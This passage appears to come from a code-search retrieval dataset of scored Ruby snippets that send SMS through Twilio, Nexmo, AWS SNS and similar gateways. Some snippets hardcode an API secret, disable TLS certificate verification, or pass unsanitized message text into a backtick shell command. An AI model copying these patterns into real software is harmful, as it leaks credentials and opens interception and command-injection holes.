SMS failed: #{error}\")\n error\n end\n end", "title": "" }, { "docid": "3ba3499c0de26edb046f976acfb81e74", "score": "0.76278305", "text": "def send_sms( number, body, opts = {} )\n params = {\n 'From' => opts[:from] || @config[:default_number],\n 'To' => number,\n 'Body' => body,\n 'Method' => opts[:method] || 'POST'\n }\n request( 'SMS/Messages', 'POST', params ) \n end", "title": "" }, { "docid": "1bdacedf6320a145d9bff3704590d3d9", "score": "0.76165664", "text": "def send(msg, *numbers)\n args = owner.generate_args([\"-n\", \"#{numbers.join(',')}\"])\n owner.api_command('sms-send', msg, *args)\n end", "title": "" }, { "docid": "95ab5927062767d4835597f9436ad1c3", "score": "0.76164", "text": "def send_sms(key, num, msg, opts = {})\n data, _status_code, _headers = send_sms_with_http_info(key, num, msg, opts)\n return data\n end", "title": "" }, { "docid": "9f1efcb58927d17dba1af496604d61b3", "score": "0.7609581", "text": "def send_sms_message(&block)\n Logger.d(\"Sending message via SMS connection...\")\n\n Sms.send_sms(@to[\"phone_number\"], @from.get_invite_message(@bitch_object[\"abuse\"]), @on_api_call_failed)\n block.call(nil)\n end", "title": "" }, { "docid": "a1a87be0f129545a990b9add5147a4ef", "score": "0.7605772", "text": "def send_sms(message_body, phone_no, type = 1)\n request_body = {}\n request_body[:un] = ISMS.username\n request_body[:pwd] = ISMS.password\n request_body[:dstno] = phone_no\n request_body[:msg] = message_body\n request_body[:type] = type\n\n faraday_response = connection.post do |request|\n request.url SEND_SMS_URL\n request.body = request_body\n end\n\n parse_response(faraday_response.body)\n end", "title": "" }, { "docid": "bb3c3d8b477410d3e81005cb2c03bf4e", "score": "0.75694734", "text": "def send_sms\n sns = Aws::SNS::Client.new(\n access_key_id: Rails.application.credentials.aws[:access_key_id], \n secret_access_key: Rails.application.credentials.aws[:secret_access_key], \n region: Rails.application.credentials.aws[:region]\n )\n response = sns.publish(phone_number: SOME_PHONE_NUMBER, message: MESSAGE) # e.g., { message_id: b6eeb3d1-e532-5bc6-8482-e790aff07433 }\n end", "title": "" }, { "docid": "ae8a06731b3591534a4b87eaa9b62ce2", "score": "0.75614357", "text": "def send_sms(_phone, _text, _args = {})\n raise NotImplementedError,\n \"You should create your own class for every sms service you use\"\n end", "title": "" }, { "docid": "e0727a7b8fd8f694a0fd0264ab5943c6", "score": "0.75480443", "text": "def deliver sms\n response = nexmo.sms.send(\n from: sms.from,\n to: sms.to,\n text: sms.text\n )\n \n # If sending the SMS was a success then store\n # the message ID on the SMS record\n if response['messages'].first['status'] == '0'\n sms.update_attributes(\n message_id: response['messages'].first['message-id']\n )\n end\n end", "title": "" }, { "docid": "c6e478debe7686d9b5cc6aa6c157bf55", "score": "0.75460833", "text": "def send_text_message\n number_to_send_to = params[:number_to_send_to]\n \n twilio_sid = 'ACef0d534bb53901be6964325064522086'\n twilio_token = '358346907479ae440807d8af52658c31'\n twilio_phone_number = \"4124074446\"\n \n @twilio_client = Twilio::REST::Client.new twilio_sid, twilio_token\n \n @twilio_client.account.sms.messages.create(\n :from => \"+1#{twilio_phone_number}\",\n :to => number_to_send_to[\"number_to_send_to\"].to_i,\n :body => pick_message\n )\n\n redirect_to root_path\n end", "title": "" }, { "docid": "4d6a09f4abe2142d865aad7bf5df8375", "score": "0.7545236", "text": "def send_text_message\n number_to_send_to = +18457971090#params[:number_to_send_to]\n\n twilio_sid = ENV[\"TWILIO_SID\"]\n twilio_token = ENV[\"TWILIO_TOKEN\"]\n twilio_phone_number = +18456350218\n\n @twilio_client = Twilio::REST::Client.new twilio_sid, twilio_token\n @twilio_client.account.sms.messages.create(\n :from => \"+1#{8456350218}\",\n :to => \"+1#{8457971090}\",\n :body => \"Your Trap has been set. Watch out for the Po-Po!\"\n ) \n end", "title": "" }, { "docid": "1fb68a133d4c7f7eee40b8ee61b4700c", "score": "0.7539293", "text": "def send(user, message)\n @session.post('facebook.sms.send', \n {:uid => User.cast_to_facebook_id(user), \n :message => message}, false)\n end", "title": "" }, { "docid": "1fb68a133d4c7f7eee40b8ee61b4700c", "score": "0.7539293", "text": "def send(user, message)\n @session.post('facebook.sms.send', \n {:uid => User.cast_to_facebook_id(user), \n :message => message}, false)\n end", "title": "" }, { "docid": "6bf434a820593ad394ce00b71ba66f84", "score": "0.75308764", "text": "def send_sms(_phone, _text)\n raise NotImplementedError,\n \"You should create your own class for every sms service you use\"\n end", "title": "" }, { "docid": "f27795798b8a4fd6dfab4bc940d62e81", "score": "0.7529355", "text": "def send_sms body, number\n\tTWILIO_CLIENT.api.account.messages.create(\n from: TWILIO_NUMBER,\n to: number,\n body: body\n ) \nend", "title": "" }, { "docid": "1429713824eca023753638cf411b8596", "score": "0.7495259", "text": "def send_sms\n @user = self.user\n @user.phone.slice!(0)\n @user_phone = \"\"\n @host = User.find(self.user_id)\n client = Twilio::REST::Client.new(ENV['ACCOUNT_SID'], ENV['AUTH_TOKEN'])\n from = ''\n to = @user_phone\n client.messages.create(\n from: from,\n to: to,\n body: \"Votre réservation a bien été prise en compte. Vous serez informé dès que #{@host.first_name}aura accepté votre reservation.\"\n )\n end", "title": "" }, { "docid": "63bfd76b472fd75a91942d2a6b263576", "score": "0.74773407", "text": "def test(sms)\n send_sms(sms)\n end", "title": "" }, { "docid": "f2d2f5bb423c3a347cecccfb734272c4", "score": "0.74670106", "text": "def deliver message\n response = nexmo.send_message(\n from: current_user.phone_number,\n to: message.to,\n text: message.text\n )\n\n # If sending the SMS was a success then store\n # the message ID on the SMS record\n\n #if response['messages'].first['status'] == '0'\n #message.update_attributes(\n # message_id: response['messages'].first['message-id']\n #)\n #end\n end", "title": "" }, { "docid": "62f29e8e3a965a0c89399afb5522ae71", "score": "0.74329835", "text": "def send_sms(messages)\r\n\r\n # validate required parameters\r\n validate_parameters({\r\n 'messages' => messages\r\n })\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/sms/send'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'content-type' => 'application/json; charset=utf-8'\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.post _query_url, headers: _headers, parameters: messages.to_json\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # validate response against endpoint and global error codes\r\n if _context.response.status_code == 404\r\n return nil\r\n end\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n return _context.response.raw_body\r\n end", "title": "" }, { "docid": "6428a0e546ef8115bb49efbb31d04b20", "score": "0.7398807", "text": "def send_sms(recipient_number, message)\n Twilio::SMS.create(\n to: valid_number(recipient_number),\n from: valid_number(ENV['TWILIO_NUMBER']),\n body: message,\n )\n end", "title": "" }, { "docid": "160013c93231505470b08be5d3540d45", "score": "0.7395321", "text": "def send_sms(user_id, phone_number)\n @sms.send_sms(@management_client, user_id, phone_number)\n end", "title": "" }, { "docid": "e9fddea92afdc8721632b5ee81a6dffd", "score": "0.7380115", "text": "def send_sms(user, body)\n user = get_model(user, User)\n message = twilio_client.sms.messages.create(\n {:from => '+13475374153', :to => user.phone, :body => body}\n )\n end", "title": "" }, { "docid": "a52fc742812c579ee48dcff59af0455d", "score": "0.73720044", "text": "def send(parameters)\n verify_parameters(parameters, [:from, :message, :to])\n\n # Warn if the from string will be capped by the sms gateway\n if parameters[:from] && parameters[:from].match(/^(\\w{11,})$/)\n warn \"SMS 'from' value #{parameters[:from]} will be capped at 11 chars\"\n end\n\n response = Elk.post('/SMS', parameters)\n self.new(Elk.parse_json(response.body))\n end", "title": "" }, { "docid": "82a83cd1572488ea38525b6b282b0bb4", "score": "0.73672825", "text": "def send_sms\n Sms.new(self)\n end", "title": "" }, { "docid": "49c0cfba6d8f96115e234d03f75a8673", "score": "0.7367234", "text": "def sms(message, to: T.unsafe(nil), from: T.unsafe(nil), action: T.unsafe(nil), method: T.unsafe(nil), status_callback: T.unsafe(nil), **keyword_args); end", "title": "" }, { "docid": "f5d00de59cefca373639ac01118c6672", "score": "0.7350608", "text": "def send_sms\n client = Client.find_by_id(params[:client_id])\n touch = client.touches.create({message: params[:message_content], outgoing: true, read: true})\n\n # Twilio credentials:\n account_sid = ENV[\"TWILIO_ACCOUNT_ID\"]\n auth_token = ENV[\"TWILIO_AUTH_TOKEN\"] \n\n # set up a client to talk to the Twilio REST API \n @twilio = Twilio::REST::Client.new(account_sid, auth_token) \n \n # Sending an SMS:\n @twilio.account.messages.create(\n :from => client.business.business_phone, \n :to => client.phone_number, \n :body => touch.message\n )\n\n redirect_to \"/dashboard/business/current_thread/#{client.id}\"\n \n end", "title": "" }, { "docid": "4c8904b1ca3d80417ddd676371b98fc2", "score": "0.7336241", "text": "def send mobile, message\n options = {\n mobile: mobile,\n message: \"#{message}#{MESSAGE_SUFFIX}\"\n }\n\n begin\n response = RestClient.post SMS_SEND_URL, options, headers\n response = JSON.parse(response)\n Rails.logger.info \"SMS: mobile #{mobile}, options: #{options}, response: #{response}\"\n rescue => e\n response = e.message\n end\n # 不同的平台,判断条件不一样。\n # 判断发送是否成功,当前螺丝帽这个平台,error == 0 表示短信发送成功\n unless response.try(:fetch, \"error\") == 0\n Rails.logger.info \"SMS failed: mobile #{mobile}, options: #{options}, response: #{response}\"\n end\n\n response\n end", "title": "" }, { "docid": "3e7597fa6df491f01bed383452d52b7c", "score": "0.73343754", "text": "def send_sms!\n msg = \"You have a new message in HereStay: #{mobile_booking_messages_url(self.booking_id, :host => ActionMailer::Base.default_url_options[:host])}\"\n if recipient\n recipient.deliver_message!(msg) if !recipient.online? and recipient.available_by_phone?\n end\n end", "title": "" }, { "docid": "8048eb6163258b0a0ed3112539d40765", "score": "0.7325862", "text": "def send_sms(mobile, text)\n #rails_config gem 配置\n accountSid = Settings.sms.accountSid\n appId = Settings.sms.appId\n auth_token = Settings.sms.auth_token\n templateId = Settings.sms.templateId\n time_out = Settings.sms.time_out\n apiurl = Settings.sms.apiurl\n now_time = Time.now.strftime('%Y%m%d%H%M%S')\n\n authorization = Base64.encode64(\"#{accountSid}:#{now_time}\").delete(\"\\n\")\n\n sig_parameter=Digest::MD5.hexdigest(\"#{accountSid}#{auth_token}#{now_time}\").upcase\n RestClient.post \"#{apiurl}/2013-12-26/Accounts/#{accountSid}/SMS/TemplateSMS?sig=#{sig_parameter}\",\n \"{'to': '#{mobile}','appId': '#{appId}','templateId':'#{templateId}','datas':['#{text}']}\",\n content_type: :json,\n accept: :json,\n charset: 'utf-8',\n Authorization: authorization\n\n\n end", "title": "" }, { "docid": "665723eaf88379a130ea15178fec4de4", "score": "0.7306145", "text": "def send_response_sms(from, contents, data)\n txtreturn = \"'You have successfully sent $#{contents['amount']} to #{contents['to']}. \n Your new balance is: $#{data['SBALANCE']}. MOSAN'\"\n sender = \"sendsms #{from} #{txtreturn}\"\n \n txtto = \"'You received $#{contents['amount']} from #{from}. Your new balance is: $#{data['CBALANCE']}. MOSAN'\"\n receiver=\"sendsms #{contents['to']} #{txtto}\"\n begin\n `#{sender}`\n `#{receiver}`\n puts \"The sms's have been sent...\"\n \n rescue\n puts \"The response could not be sent to the sender #{from} and the recipient #{contents['to']}. \n The transaction was successful.\"\n end\n end", "title": "" }, { "docid": "f4880e44f7d66b108b4c180a49117894", "score": "0.7292448", "text": "def sms(message)\n return unless Settings.active\n\n message.update(from: from)\n client.set_sms_attributes(attributes: { 'DefaultSenderID' => from })\n client.publish(phone_number: message.to, message: message.body)\n # rescue\n # Rails.logger.warn('No AWS client configured for tenant.account_id') and return if client.nil?\n end", "title": "" }, { "docid": "375e2c8626422afeacfd40ad44f06742", "score": "0.72843313", "text": "def test\n send_sms( \"+20126699638\",\"Hey, Welcome to Shipme Website ;)\" )\n end", "title": "" }, { "docid": "e71e93a2b8ef04ca55b57aa419f6b361", "score": "0.7247696", "text": "def send_sms(options = {})\n # Check for login\n login = options[:login] || @@login\n raise ArgumentError, \"Login must be present\" unless login and not (login.strip.size == 0)\n\n # Check for password\n password = options[:password] || @@password\n raise ArgumentError, \"Password must be present\" unless password and not (password.strip.size == 0)\n\n from = options[:from] || @@from\n raise ArgumentError, \"Sender length 11 characters maximum\" if (from.size > 11)\n\n # Multiple destinations support\n options[:destination] = [options[:destination]] unless options[:destination].kind_of?(Array)\n\n destinations = []\n options[:destination].each do |phone|\n raise ArgumentError, \"Recipient must be a telephone number with international format: #{phone.to_s}\" unless parsed = GlobalPhone.parse(phone.to_s)\n destinations << parsed.international_string.gsub(\"+\", \"\") # Remove + from international string\n end\n\n message = options[:message].to_s\n raise ArgumentError, \"Message must be present\" if message.nil? or (message.strip.size == 0)\n raise ArgumentError, \"Message is 160 chars maximum\" if message.size > 160\n\n uri = APIUri.dup\n params = { 'username' => login,\n 'password' => password,\n 'from' => from,\n 'to' => destinations.join(\" \"),\n 'text' => message,\n 'coding' => \"0\",\n 'trsec' => \"1\"}\n uri.query = URI.escape(params.map{ |k,v| \"#{k}=#{v}\" }.compact.join('&'))\n https = Net::HTTP.new(APIUri.host, APIUri.port)\n https.use_ssl = true\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n req = Net::HTTP::Get.new(uri.request_uri)\n\n response = https.start { |cx| cx.request(req) }\n if response.code == \"200\"\n begin\n match = response.body.match(/(\\d+):\\s((\\s|\\w)+)(\\.\\sID\\s(\\d+))?/i)\n if match\n result = {:code => match[1].to_i, :description => match[2], :id => match[5]}\n else\n result = {:code => response.body, :description => \"Unknown error\"}\n end\n rescue\n # Try to get petition result\n result = {:code => response.body}\n end\n return result\n else\n raise RuntimeError, \"Server responded with code #{response.code}: #{response.body}\"\n end\n end", "title": "" }, { "docid": "79a645d507959e25b6b54e66794344a8", "score": "0.72441536", "text": "def send_message!\n #fail to send if the message doesn't pass validation\n return false unless self.valid?\n #otherwise continue to send the message\n \n # Get the number from twilio if the twilio number isn't defined\n unless(@twilio_number)\n twilio_numbers_list = twilio_numbers\n \n # grab the first number in the list\n @twilio_number = twilio_numbers_list[0].phone_number\n end\n \n #build args for twilio\n post_args = {\n :from => @twilio_number,\n :to => \"+1#{self.phone_number}\",\n :body => self.content\n }\n \n # if in dev, post to the sms log\n unless (defined?(FAKE_SMS_MESSAGES) && FAKE_SMS_MESSAGES)\n submit_to_gateway!(post_args)\n else\n fake_submit_to_gateway!(post_args)\n end\n end", "title": "" }, { "docid": "b8f4d9266d14e0e718e34f265bfe4030", "score": "0.7239216", "text": "def send_sms(options)\n options = {to: @user.mobile}.merge(options)\n if send_to_twilio?\n TwilioJob.perform_later(options)\n elsif options[:to]\n message = \"SlackSMS (#{options[:to]}) #{options[:body]}\"\n SlackMessageJob.perform_later(message, ENV['SLACK_PIN_CHANNEL'])\n end\n end", "title": "" }, { "docid": "7471122e5a70e771d175a7a869839fca", "score": "0.72198856", "text": "def send_sms(body, email)\n deliver_sms(\"9025950365\",\"telus-canada\", body, :from => email, :subject => 'ashhill.ca')\n end", "title": "" }, { "docid": "46c9f809707d73e032738dbe66c7459a", "score": "0.7216962", "text": "def send_sms\n begin\n @client = Twilio::REST::Client.new @account_sid, @auth_token\n \n message = @client.account.messages.create(:body => @shakes_insult,\n :to => \"+15106849426\", # Replace with your phone number\n :from => \"+14152026709\") # Replace with your Twilio number\n rescue Twilio::REST::RequestError => e\n return e.message\n end\n return message.sid\n end", "title": "" }, { "docid": "f96f4bef7cf72a165f623d4b60cc8fa2", "score": "0.7211488", "text": "def send_text_message(message)\n processor = message.contact.line.number.processor\n \n case processor\n when \"AAISP\"\n res = Net::HTTP.post_form(URI.parse(\"http://sms.aaisp.net.uk/sms.cgi\"),\n { 'username' => message.contact.line.number.username,\n 'password' => message.contact.line.number.password,\n 'destination' => message.contact.phone_number,\n 'message' => message.body,\n 'report' => 'https://www.escuchat.com/text_message/delivery',\n 'costcentre' => message.contact.line.id,\n 'private' => \"escuchat_#{message.contact.line.id}\"})\n else\n logger.error \"Unknown processor: #{processor}\" and return\n end\n \n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n else\n logger.debug \"send_text_message: HTTP Error: \" + res\n res.error!\n end\n end", "title": "" }, { "docid": "28ba3b9114de7b617619ca5c8ccbe5b0", "score": "0.72056097", "text": "def send_sms(to:, from:, text:, channel:, **options)\n path = options[:testsend] ? 'sms/testsend' : 'sms/send'\n if %w[info digital international direct service].include?(channel.to_s)\n SmsAero2::Operation.new(\n request, path,\n number: to, sign: from, text: text, channel: channel.upcase, **options\n ).call\n else\n raise ArgumentError, \"invalid channel value, see documentation\"\n end\n end", "title": "" }, { "docid": "4d81420f89c1788b335e244e212cb6b7", "score": "0.7173741", "text": "def send_sms\n self.resource = resource_class.send_sms_token(params[resource_name])\n \n if resource.errors.empty?\n set_flash_message :notice, :send_token, :phone => self.resource.phone\n redirect_to new_sms_session_path(resource_name)\n else\n render :resend\n end\n end", "title": "" }, { "docid": "ba3a42ea6540e0c6dc8e4cf69cb18156", "score": "0.71652853", "text": "def send_message\n message = \"I'm having a panic attack. Please write me.\"\n TwilioTextMessenger.new(message).call\n redirect_to root_path, notice: \"Message sent. Keep breathing.\"\n end", "title": "" }, { "docid": "4f9015da139a010bdd5289fbccf2249c", "score": "0.71640396", "text": "def sms_send(sms)\n puts \"create stomp message\"\n m=SmscManager::SmsSendTopic.create_stomp_message(sms.text,sms.destination,sms.source)\n puts \"message is #{m.to_xml}\"\n # original puts \"hostname: #{arg_hash[:host]} port #{arg_hash[:port]}\"\n arg_hash={}\n arg_hash[:host]=self.hostname\n argh_hash[:port]=self.port\n puts \"hostname: #{self.hostname} port #{arg_hash[:port]}\"\n url=\"#{arg_hash[:topic]}?m.to_xml\"\n arg_hash[:url]=self.url\n arg_hash[:topic]=self.topic\n msg_sender=StompMessage::StompSendTopic.new(arg_hash) \n msg_sender.post_stomp(m, {})\n end", "title": "" }, { "docid": "855870f89da1ee669ac710c2c8d77240", "score": "0.7135945", "text": "def send_text(text, phone)\n account_sid = ENV[\"ACCOUNT_SID\"]\n auth_token = ENV[\"AUTH_TOKEN\"]\n client = Twilio::REST::Client.new account_sid, auth_token\n\n account = client.account\n message = account.sms.messages.create({\n :from => ENV[\"PHONE\"],\n :to => phone,\n :body => text})\n puts message\n end", "title": "" }, { "docid": "6524fba8b1d480408732dbd3a45bec50", "score": "0.7135449", "text": "def send_sms(phone, content, type) #:nodoc: all\n raise 'invalid sms parameters' unless type.present? && !content.blank? && !phone.blank? && phone.to_sz.map { |p| p.to_s =~ /1\\d{10}/ }.inject(&:&)\n response = ::SendSms.send(phone, content, type)\n # response = api :sendSMS, {params: [nil, phone.to_sz.map(&:to_s), content, nil, 'UTF-8', 5, 0], channel: channel}\n # raise response.values.first[:return] unless response.values.first[:return] == '0'\n end", "title": "" }, { "docid": "6861d7451a4e97005d95f0c9101d34a5", "score": "0.7123474", "text": "def send_sms(to: sms_to, body: sms_body)\n [to, body]\n generate_token\n options = { body: {\n body: body,\n to: to\n }.to_json,\n headers: { \"Content-Type\" => \"application/json\", \"Authorization\" => \"Bearer #{@token}\" }}\n response = HTTParty.post(\"https://api.telstra.com/v1/sms/messages\", options)\n return JSON.parse(response.body)\n end", "title": "" }, { "docid": "68d1a62324ea081200eefb584b126a52", "score": "0.7118572", "text": "def send_sms(message_text, phones, options = {})\n raise ArgumentError.new(\"Text must be at least 1 character long\") if message_text.blank?\n raise ArgumentError.new(\"No phones were given\") if phones.blank?\n raise ArgumentError.new(\"Either :sender_name or :sender_number attribute required\") if options[:sender_name].blank? && options[:sender_number].blank?\n raise ArgumentError.new(\"Sender number must be between 4 to 14 digits: #{options[:sender_number]}\") if options[:sender_number].present? && !PhoneNumberUtils.valid_sender_number?(options[:sender_number])\n raise ArgumentError.new(\"Sender name must be between 2 and 11 latin chars\") if options[:sender_name].present? && !PhoneNumberUtils.valid_sender_name?(options[:sender_name])\n\n phones = [phones] unless phones.is_a?(Array)\n phones.each do |p| # check that phones are in valid cellular format\n raise ArgumentError.new(\"Phone number '#{p}' must be cellular phone with 972 country code\") unless PhoneNumberUtils.valid_cellular_phone?(p)\n end\n\n message_id = UUIDTools::UUID.timestamp_create.to_str\n body_params = build_send_sms_params(message_text, phones, message_id, options)\n logger.debug \"#send_sms - making post to #{@options[:api_url]} with params: \\n #{body_params}\"\n http_response = HTTParty.post(@options[:api_url], :body => body_params, :headers => {'Accept' => 'application/json'})\n logger.debug \"#send_sms - got http response: code=#{http_response.code}; body=\\n#{http_response.parsed_response}\"\n raise StandardError.new(\"Non 200 http response code: #{http_response.code} \\n #{http_response.parsed_response}\") if http_response.code != 200\n if http_response.parsed_response.is_a?(Hash)\n json = http_response.parsed_response\n elsif http_response.parsed_response.is_a?(String)\n begin\n json = JSON.parse(http_response.parsed_response)\n rescue JSON::ParserError => e\n raise PayCallSms::GatewayError.new(\"Failed to parse response to json: #{http_response.parsed_response}\")\n end\n logger.debug \"#send_sms - parsed response: #{json.inspect}\"\n end\n if json['success'] == true\n OpenStruct.new(\n message_id: message_id,\n )\n else\n raise PayCallSms::GatewayError.new(\"Failed to send sms: #{json.inspect}\")\n end\n end", "title": "" }, { "docid": "cb2b45b4cc1eee88dbcb2a26126c1fcb", "score": "0.71107566", "text": "def send_text(message)\n settings.twilio_client.account.messages.create({\n :to => '+17606725123',\n :from => '+17605374466',\n :body => message\n })\n end", "title": "" }, { "docid": "92e8bb9e66f457ffcb6e1065330312d3", "score": "0.70989263", "text": "def send_message(recipient, message_text, opts={})\n valid_options = { :sender => \"\", :messagetype => \"Text\" }\n valid_options.merge!(:sender => opts[:sender]) if opts[:sender]\n valid_options.merge!(:messagetype => opts[:msg_type]) if opts[:msg_type]\n valid_options.merge!(:referencenumber => opts[:ref_number]) if opts[:ref_number]\n recipient = recipient.join(\",\")if recipient.is_a?(Array)\n response = execute_command('sms',\n { :mobilenumber => recipient, :message => message_text}.merge(valid_options)\n )\n response = parse_response(:sms, response)\n response.is_a?(Array) ? response.map { |r| r[:status] } : response[:status]\n end", "title": "" }, { "docid": "559331e0967eb4ea54f098314fa217d5", "score": "0.7094276", "text": "def send_sms!(msg)\n return false unless sms_alerts and phone_number_is_valid? and not mobile_carrier.blank?\n UserMailer.send_sms(self, msg).deliver\n end", "title": "" }, { "docid": "688edc918784611e46bc08a35262b35a", "score": "0.70918703", "text": "def send_SMS_to( number, msg )\n where = \"HELPER: \" + (__method__).to_s\n begin\n puts \"ATTEMPT TO SMS TO BAD NUMBER\" if number.match(/\\+1\\d{10}\\z/)==nil\n\n @message = $twilio_account.sms.messages.create({\n :from => ENV['TWILIO_CALLER_ID'],\n :to => number,\n :body => msg\n })\n puts \"SENDING OUTGOING SMS: \"+msg+\" TO: \"+number\n\n rescue Exception => e; log_exception( e, where ); end\n end", "title": "" }, { "docid": "b39f709c0154ac341264b8fc7eb8350a", "score": "0.70871913", "text": "def send_sms(options = {})\n # Check for login\n login = options[:login] || @@login\n raise ArgumentError, \"Login must be present\" unless login and not login.blank?\n\n # Check for password\n password = options[:password] || @@password\n raise ArgumentError, \"Password must be present\" unless password and not password.blank?\n\n # Multiple destinations support\n options[:destination] = [options[:destination]] unless options[:destination].kind_of?(Array)\n\n # Check for max destinations\n raise ArgumentError, \"Max of 5000 destinations exceeded\" if (options[:destination].size > 5000)\n\n destinations = []\n options[:destination].each do |phone|\n raise ArgumentError, \"Recipient must be a telephone number with international format: #{phone.to_s}\" unless parsed = GlobalPhone.parse(phone.to_s)\n if parsed.international_string.to_s =~ /^\\+1/\n destinations << parsed.international_string.gsub(/^\\+1/, \"01\") # Replace initial +1 with 01 for IT Cloud requirements\n else\n destinations << parsed.international_string.gsub(\"+\", \"\") # Remove + from international string\n end\n end\n\n message = options[:message].to_s\n raise ArgumentError, \"Message must be present\" if message.blank?\n raise ArgumentError, \"Message is 765 chars maximum\" if message.size > 765\n\n http = Net::HTTP.new(APIUri.host, APIUri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Post.new(APIUri.request_uri)\n request.set_form_data({'user' => login,\n 'token' => password,\n 'GSM' => destinations.join(\",\"),\n 'SMSText' => message,\n 'metodo_envio' => '1via'})\n\n response = http.request(request)\n if response.code == \"200\"\n begin\n result = response.body.split(\"<br>\").map{ |a| a.split(\",\") }.map{ |res| {:telephone => res[0].strip, :code => res[1].strip }}\n rescue\n # Try to get petition result\n result = [{:code => response.body}]\n end\n result.each do |destination|\n case destination[:code]\n when \"-1\" then\n destination[:description] = \"Authentication failed\"\n when \"-2\" then\n destination[:description] = \"Out of hours\"\n when \"-3\" then\n destination[:description] = \"No credit\"\n when \"-4\" then\n destination[:description] = \"Wrong number\"\n when \"-5\" then\n destination[:description] = \"Wrong message\"\n when \"-6\" then\n destination[:description] = \"System under maintenance\"\n when \"-7\" then\n destination[:description] = \"Max cellphones reached\"\n when \"-8\" then\n destination[:description] = \"Cellphone number in black list\"\n when \"-9\" then\n destination[:description] = \"message rejected for content\"\n when \"-10\" then\n destination[:description] = \"Message with no link authorized\"\n when \"-11\" then\n destination[:description] = \"Error in metodo_envio variable\"\n else\n if destination[:code].to_i > 0\n destination[:description] = \"OK\"\n else\n destination[:description] = \"Unknown error\"\n end\n end\n end\n return result\n else\n raise RuntimeError, \"Server responded with code #{response.code}: #{response.body}\"\n end\n end", "title": "" }, { "docid": "3e95c36f75edcbcfbf6a70a27236c271", "score": "0.7083581", "text": "def sendSms\n @temp = Users.find(params[ :id ]) \n @user = Users.find_by_id(@temp).mobileNumber.to_s\n @name = Users.find_by_id(@temp).username\n String @number = '+20'.to_s + @user\n SendSmsController.send_sms( @number,\"dear MR/MRS \"+@name+\n \" you have been reported by the carrier for not confirming the final delivery of the package , please confirm as soon as possible \n thank you \n -shipme.com\")\n redirect_to :action => 'index'\n end", "title": "" }, { "docid": "f8ae476ab366a099d3679cef7def18e0", "score": "0.7080058", "text": "def send_message!\n @numbers.map do |number|\n @sms_client.send_message!(number, @sms.message)\n end\n end", "title": "" }, { "docid": "b365057332e3c68e0e9a9386362dc556", "score": "0.7069597", "text": "def send_sms_to_user\n if user.phone_number and user.sms_opt_in?\n message = self.decorate.sms_message_for_new_request_to_user\n\n user.delay.send_sms(message, user.phone_number)\n end\n end", "title": "" }, { "docid": "dd3c1d295a04a457c549024ab23f0201", "score": "0.70693475", "text": "def reply_via_SMS( msg )\n where = \"HELPER: \" + (__method__).to_s\n begin\n @message = $twilio_account.sms.messages.create({\n :from => ENV['TWILIO_CALLER_ID'],\n :to => params['From'],\n :body => msg\n })\n puts \"REPLYING WITH AN OUTGOING SMS: \"+msg+\" TO: \"+params['From']\n\n rescue Exception => e; log_exception( e, where ); end\n end", "title": "" }, { "docid": "e3732ee43a93af5989fba7e5d6681a99", "score": "0.7019385", "text": "def create\n message = send_sm_params[:message]\n destination = send_sm_params[:destination]\n\n\n if SendSMS.send_message(message, destination)\n redirect_to send_sms_path, notice: 'Send sms was successfully created.'\n else\n redirect_to send_sms_path, notice: 'Could not send'\n end\n end", "title": "" }, { "docid": "03c738472aa8192feed6da4aabebb00e", "score": "0.7018448", "text": "def create\n @send_message = SendMessage.new(send_message_params)\n \n client = Nexmo::Client.new(\n api_key: ENV['NEXMO_API_KEY'],\n api_secret: ENV['NEXMO_API_SECRET']\n )\n \n client.sms.send(\n from: 'Acme Inc',\n to: @send_message.PhoneNumber,\n text: @send_message.Message\n )\n \n respond_to do |format|\n if @send_message.save\n format.json { render json: 'Send email was successfully created', status: :created, location: @send_message }\n else\n format.html { render :new }\n format.json { render json: @send_message.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e1b0f1c5fc26b261f12f1a7bf208574", "score": "0.70169795", "text": "def send_verification_sms\n send_sms\n end", "title": "" }, { "docid": "6e1b0f1c5fc26b261f12f1a7bf208574", "score": "0.70169795", "text": "def send_verification_sms\n send_sms\n end", "title": "" }, { "docid": "4d0e19c4fbaa8e4431c4d08e1ca230b9", "score": "0.70126194", "text": "def sendmessage(text)\r\n to = @target_account\r\n subject = \"XMPP4R test\"\r\n body = text\r\n message = Message::new(to, body).set_type(:chat).set_id('1').set_subject(subject)\r\n @cl.send message\r\n end", "title": "" }, { "docid": "b47d15623cd07df03fa193c991d91973", "score": "0.70090616", "text": "def send_sms_background(resource)\n\t\tsend_sms(resource)\n\tend", "title": "" }, { "docid": "b2b7b5cc9af4666253672592493aa986", "score": "0.70059264", "text": "def send_mms(mms_messages)\r\n # Validate required parameters.\r\n validate_parameters(\r\n 'mms_messages' => mms_messages\r\n )\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/mms/send'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'content-type' => 'application/json; charset=utf-8'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: mms_messages.to_json\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n return nil if _context.response.status_code == 404\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end", "title": "" }, { "docid": "ed23fd6d3898258c95f8c3fa44b22010", "score": "0.700303", "text": "def send_message\n subscribers = current_account.subscribers.all(:include => :phone)\n numbers = subscribers.map { |s| s.phone.number }\n message = params[:message][:body].to_s.strip\n parts = (message.length / 160.0).ceil\n recipients = numbers.size\n\n unless recipients == 0 || message.blank?\n # Record delivery\n current_account.marketing_messages.create!({\n :kind => MarketingMessage::KIND_MANUAL,\n :body => message,\n :parts => parts,\n :recipients => recipients\n })\n \n flash[:notice] = \"Sending the message with #{parts} part(s) to #{recipients} subscriber(s)\"\n \n spawn do\n logger.info \"Sending manual subscription 